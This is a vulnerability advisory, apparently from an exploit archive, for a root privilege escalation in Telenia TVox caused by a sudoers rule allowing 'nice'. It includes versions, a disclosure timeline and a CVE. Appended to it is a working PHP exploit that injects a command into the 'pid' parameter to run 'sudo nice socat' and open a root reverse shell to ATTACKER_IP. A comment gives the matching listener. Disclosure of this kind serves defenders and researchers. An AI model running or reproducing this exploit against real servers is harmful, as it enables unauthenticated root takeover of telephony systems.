📄 Telenia Software TVox 26.5.3 Local Privilege Escalation

-------------------------------------------------------------------------------
    Telenia Software TVox <= 26.5.3 (nice) Local Privilege Escalation
    Vulnerability
    -------------------------------------------------------------------------------
    
    
    [-] Software Link:
    
    https://www.teleniasoftware.com
    
    
    [-] Affected Versions:
    
    Version 26.5.3 and prior 26.x versions.
    Version 24.9.21 and prior 24.x versions.
    Older versions may be affected as well.
    
    
    [-] Vulnerability Description:
    
    The vulnerability is caused by an insecure sudoers configuration in the
    /etc/sudoers.d/telenia file:
    
    
    apache ALL=NOPASSWD: /opt/telenia/cloud/bin/check-instance-id
    
    apache ALL=NOPASSWD: /usr/sbin/postsuper
    
    apache ALL=NOPASSWD: /bin/nice
    apache ALL=NOPASSWD: /usr/bin/hostnamectl
    apache ALL=NOPASSWD: /sbin/halt
    apache ALL=NOPASSWD: /sbin/reboot
    
    
    The apache user is allowed to execute the "nice" command with root
    privileges without requiring a password. Since "nice" can be abused to
    invoke arbitrary commands, this misconfiguration enables an attacker with
    access to the apache account to execute arbitrary commands as the root
    user, resulting in a Local Privilege Escalation.
    
    
    [-] Proof of Concept:
    
    https://karmainsecurity.com/pocs/tvox_root_rce.php
    
    
    [-] Solution:
    
    No official solution is currently available.
    
    
    [-] Disclosure Timeline:
    
    [22/05/2026] - Vendor was contacted, no response
    [27/05/2026] - Vendor was notified about this vulnerability, no response
    [27/05/2026] - Vendor was notified about 60-day disclosure deadline policy,
    no response
    [26/06/2026] - Vendor was contacted again along with CSIRT Italy, no
    response from CSIRT
    [08/07/2026] - First vendor response, asking for vulnerability details
    [09/07/2026] - Vulnerability details safely provided to the vendor
    [20/07/2026] - Vendor was contacted again, asking for an update
    [21/07/2026] - Vendor replied a security patch will be released by the end
    of July
    [21/07/2026] - CVE identifier requested
    [21/07/2026] - CVE identifier assigned
    [27/07/2026] - Reached 60-day disclosure deadline, still no official
    solution
    [03/08/2026] - Public disclosure
    
    
    [-] CVE Reference:
    
    CVE-2026-64829 has been assigned to this vulnerability.
    
    
    [-] Credits:
    
    Vulnerability discovered by Egidio Romano.
    
    
    [-] Original Advisory:
    
    https://karmainsecurity.com/KIS-2026-16
    
    
    -- packet storm added poc --
    
    <?php
    
    /*
        ---------------------------------------------------------
        Telenia Software TVox <= 26.5.3 Pre-Auth Root RCE Exploit
        ---------------------------------------------------------
        
        author..............: Egidio Romano aka EgiX
        mail................: n0b0d13s[at]gmail[dot]com
        software link.......: https://www.teleniasoftware.com
        
        +-------------------------------------------------------------------------+
        | This proof of concept code was written for educational purpose only.    |
        | Use it at your own risk. Author will be not responsible for any damage. |
        +-------------------------------------------------------------------------+
        
        [-] Original Advisories:
    
        https://karmainsecurity.com/KIS-2026-14
        https://karmainsecurity.com/KIS-2026-15
        https://karmainsecurity.com/KIS-2026-16
    */
    
    set_time_limit(0);
    error_reporting(E_ERROR);
    
    print "\n+----------------------------------------------------------+";
    print "\n| Telenia Software TVox <= 26.5.3 Root RCE Exploit by EgiX |";
    print "\n+----------------------------------------------------------+\n\n";
    
    if (!extension_loaded("curl")) die("[-] cURL extension required!\n");
    
    if ($argc != 4) die("Usage: php $argv[0] <URL> <ATTACKER_IP> <ATTACKER_PORT>\n\n");
    
    $ch = curl_init();
    
    curl_setopt($ch, CURLOPT_URL, "{$argv[1]}tvox/manager/html/action_audio.php/login_admin.php");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    // On attacker machine: socat file:`tty`,raw,echo=0 tcp-listen:4444
    
    print "[+] Executing reverse shell\n";
    
    $injection = "\$(sudo nice socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:{$argv[2]}:{$argv[3]})";
    
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(["action" => "checkProcess", "pid" => $injection]));
    
    curl_exec($ch);
    
    print "[+] Done!\n\n";